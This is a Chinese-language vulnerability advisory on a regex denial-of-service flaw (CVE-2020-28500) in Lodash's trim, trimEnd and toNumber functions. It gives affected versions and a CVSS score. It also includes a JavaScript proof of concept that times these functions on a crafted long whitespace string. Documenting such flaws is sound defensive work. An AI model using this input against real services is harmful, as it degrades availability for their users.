本文详细分析了Lodash库中存在的正则表达式拒绝服务漏洞,影响版本包括4.0.0至4.17.21,涉及toNumber、trim和trimEnd函数,攻击者可通过构造特定输入导致服务不可用。
正则表达式拒绝服务漏洞分析
漏洞概述
CVE-2020-28500 是一个在Lodash JavaScript工具库中发现的中等严重性安全漏洞,该漏洞属于正则表达式拒绝服务攻击类型。
受影响版本
npm包
- lodash: >=4.0.0, <4.17.21
- lodash-es: >=4.0.0, <4.17.21
- lodash.trim: >=4.0.0, <=4.5.1
- lodash.trimend: >=4.0.0, <=4.5.1
RubyGems包
- lodash-rails: >=4.0.0, <4.17.21
已修复版本
漏洞细节
受影响的函数
复现步骤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
|
安全评分
CVSS v3.1 评分
- 总体评分: 5.3/10(中等)
- 攻击向量: 网络
- 攻击复杂度: 低
- 所需权限: 无
- 用户交互: 无
- 影响范围: 未改变
- 机密性影响: 无
- 完整性影响: 无
- 可用性影响: 低
相关链接
弱点分类
- CWE-400: 不受控制的资源消耗
- CWE-1333: 低效的正则表达式复杂度
该漏洞允许攻击者通过向受影响函数提供特定构造的输入,导致正则表达式处理时间呈指数级增长,从而消耗大量CPU资源,造成拒绝服务状况。